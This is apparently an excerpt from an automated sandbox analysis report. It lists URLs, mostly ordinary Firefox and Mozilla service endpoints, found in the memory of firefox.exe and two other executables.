Source: firefox.exe, 00000025.00000002.2529879447.000001F843DB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000025.00000002.2529879447.000001F843DB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000025.00000002.2466040035.000001F83D103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 00000025.00000002.2466040035.000001F83D103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 00000025.00000002.2535737946.000001F84886A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtabL
Source: firefox.exe, 00000025.00000002.2466040035.000001F83D103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 00000025.00000002.2535737946.000001F84886A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabC
Source: firefox.exe, 00000025.00000002.2466040035.000001F83D103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 00000025.00000002.2535737946.000001F84886A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtabA
Source: firefox.exe, 00000025.00000002.2466040035.000001F83D103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 00000025.00000002.2535737946.000001F84886A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtabE
Source: firefox.exe, 00000025.00000002.2466040035.000001F83D103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 00000025.00000002.2535737946.000001F84886A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtabG
Source: firefox.exe, 00000025.00000002.2466040035.000001F83D103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 00000025.00000002.2535737946.000001F84886A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab?
Source: firefox.exe, 00000025.00000002.2466040035.000001F83D103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 00000025.00000002.2535737946.000001F84886A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabN
Source: firefox.exe, 00000025.00000002.2529879447.000001F843DB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 00000025.00000002.2466040035.000001F83D103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 00000025.00000002.2535737946.000001F84886A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtabI
Source: firefox.exe, 00000025.00000002.2535737946.000001F848814000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2466040035.000001F83D103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 00000025.00000002.2535737946.000001F84886A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more/
Source: firefox.exe, 00000025.00000002.2529879447.000001F843DB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 00000025.00000002.2529879447.000001F843DB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2529879447.000001F843DB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 00000025.00000003.2363468563.000001F84878D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.2371261916.000001F84878C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2534755434.000001F848786000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 00000025.00000003.2366631839.000001F848769000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 00000025.00000003.2366631839.000001F848769000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 00000025.00000003.2371261916.000001F84878C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2534755434.000001F848786000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 00000025.00000003.2371261916.000001F84878C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2534755434.000001F848786000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2482519588.000001F83FF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000003.2321503699.000001F840040000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.2317637589.000001F83FE00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotsexperiment-apis/systemManufacturer.jsonhttps://screen
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C524000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2529879447.000001F843DB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 00000025.00000002.2503641584.000001F841B29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881jar:file
Source: firefox.exe, 00000025.00000002.2535737946.000001F848814000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/X
Source: firefox.exe, 00000025.00000002.2461387139.000001F83BBAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: firefox.exe, 00000025.00000002.2529879447.000001F843DB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 00000025.00000002.2529879447.000001F843DB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 00000025.00000003.2371261916.000001F84878C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2534755434.000001F848786000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 00000025.00000002.2496083880.000001F84115E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2496083880.000001F84119B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 00000025.00000002.2533356820.000001F8486B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema.
Source: firefox.exe, 00000025.00000002.2533356820.000001F8486B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema./
Source: firefox.exe, 00000025.00000002.2533356820.000001F8486B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/
Source: firefox.exe, 00000025.00000002.2533356820.000001F8486B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/=
Source: firefox.exe, 00000025.00000003.2371261916.000001F84878C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2534755434.000001F848786000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 00000025.00000003.2371261916.000001F84878C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2534755434.000001F848786000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 00000025.00000003.2371261916.000001F84878C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2534755434.000001F848786000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 00000025.00000002.2462144555.000001F83BC7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 00000025.00000002.2496596781.000001F8412D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 00000025.00000003.2408266184.000001F8492BB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2553725833.000036E847500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.li
Source: firefox.exe, 00000025.00000002.2520016985.000001F84253F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 00000025.00000002.2520016985.000001F84253F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2472850400.000001F83E882000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2466040035.000001F83D19F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sFailed
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%shttps://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2472850400.000001F83E882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%shttps://poczta.interia.pl/mh/?mailto=%shttps://e.mail.ru/cgi-bin/
Source: firefox.exe, 00000025.00000002.2472850400.000001F83E882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2472850400.000001F83E882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%sgecko.handlerService.defaultHandlersVersion_injectDefaultProt
Source: firefox.exe, 00000025.00000002.2472850400.000001F83E882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 00000025.00000002.2459673235.000001F8303D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 00000025.00000002.2492115044.000001F840703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla-hub.atlassian.net/browse/SDK-405
Source: firefox.exe, 00000025.00000002.2552055289.0000115823804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org/
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2472850400.000001F83E882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%sresource:///modules/BrowserContentHandler.sys
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2472850400.000001F83E882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000025.00000002.2472850400.000001F83E882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://probeinfo.telemetry.mozilla.org/glean/repositories.
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 00000025.00000002.2461387139.000001F83BB32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com:
Source: firefox.exe, 00000025.00000002.2529879447.000001F843DB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 00000025.00000002.2472850400.000001F83E806000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 00000025.00000003.2317637589.000001F83FE00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/about-compat/aboutPage.json
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.comhttps://addons.mozilla.orgupgradeTabsProgressListenerremoveTabsProgre
Source: firefox.exe, 00000025.00000002.2540749250.000001F848BDB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon
Source: firefox.exe, 00000025.00000002.2494010655.000001F840A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com
Source: firefox.exe, 00000025.00000002.2499244316.000001F841633000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/
Source: firefox.exe, 00000025.00000002.2472850400.000001F83E806000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 00000025.00000002.2494010655.000001F840A36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 00000025.00000002.2472850400.000001F83E806000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2540749250.000001F848BA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2540749250.000001F848BA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 00000025.00000002.2494010655.000001F840A36000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2529879447.000001F843DB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 00000025.00000002.2506963554.000001F841C79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2529879447.000001F843DB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000025.00000002.2494010655.000001F840A36000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2466040035.000001F83D103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 00000025.00000002.2535737946.000001F84886A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#
Source: firefox.exe, 00000025.00000002.2535737946.000001F84886A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#l
Source: firefox.exe, 00000025.00000002.2529879447.000001F843DB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2540749250.000001F848BA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-jsC:
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2540749250.000001F848BA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 00000025.00000002.2503641584.000001F841B6A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 00000025.00000002.2492115044.000001F840703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 00000025.00000002.2540749250.000001F848BBB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.2381539045.000001F8486E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2533356820.000001F8486E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: firefox.exe, 00000025.00000002.2472850400.000001F83E8CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 00000025.00000002.2499796966.000001F84177F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: firefox.exe, 00000025.00000003.2389813996.000001F8425DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: df757a3a2c.exe, 00000016.00000003.2383545381.00000000052C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 00000025.00000002.2472850400.000001F83E8CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.orgmigrateXULAttributeToStyleContentPermissionIntegrationStorageAccessPermis
Source: firefox.exe, 00000025.00000003.2371261916.000001F84878C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2534755434.000001F848786000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 00000025.00000002.2499796966.000001F84177F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 00000025.00000002.2499796966.000001F84177F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 00000025.00000002.2499796966.000001F84177F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 00000025.00000002.2499796966.000001F84177F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 00000025.00000002.2472850400.000001F83E8E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 00000025.00000002.2492115044.000001F840703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com/
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.comaccount-connection-disconnectedshowBadgeOnlyNotificationpictureinpictu
Source: firefox.exe, 00000025.00000002.2553725833.000036E847500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 00000025.00000002.2553725833.000036E847500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/Z
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C524000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2529879447.000001F843DB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 00000025.00000003.2363468563.000001F84878D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.2371261916.000001F84878C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2534755434.000001F848786000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 00000025.00000002.2496083880.000001F84115E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 00000025.00000002.2496083880.000001F84115E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2494010655.000001F840A36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 00000025.00000002.2499244316.000001F841633000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2553725833.000036E847500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: df757a3a2c.exe, 00000014.00000003.2200089454.0000000005B68000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2384983215.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2461387139.000001F83BBAE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: firefox.exe, 00000025.00000002.2553725833.000036E847500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/Z
Source: firefox.exe, 00000025.00000002.2529879447.000001F843D09000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.2317637589.000001F83FE00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000025.00000002.2503641584.000001F841B6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/extension/pictureinpicture
Source: firefox.exe, 00000025.00000002.2553725833.000036E847500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/i-h1611
Source: firefox.exe, 00000025.00000002.2553725833.000036E847500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/i-h1611Z
Source: firefox.exe, 00000025.00000002.2494010655.000001F840A36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 00000025.00000002.2494010655.000001F840A36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: file.exe, 00000006.00000003.1338742221.000000000578A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1338867009.000000000578A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000006.00000003.1338680656.000000000578C000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142290883.0000000005BA9000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142799412.0000000005BA7000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000014.00000003.2142375430.0000000005BA7000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2327747156.00000000051B8000.00000004.00000800.00020000.00000000.sdmp, df757a3a2c.exe, 00000016.00000003.2327300825.00000000051CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 00000025.00000002.2478755062.000001F83FD25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 00000025.00000003.2371143216.000001F848964000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.2362909446.000001F848750000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
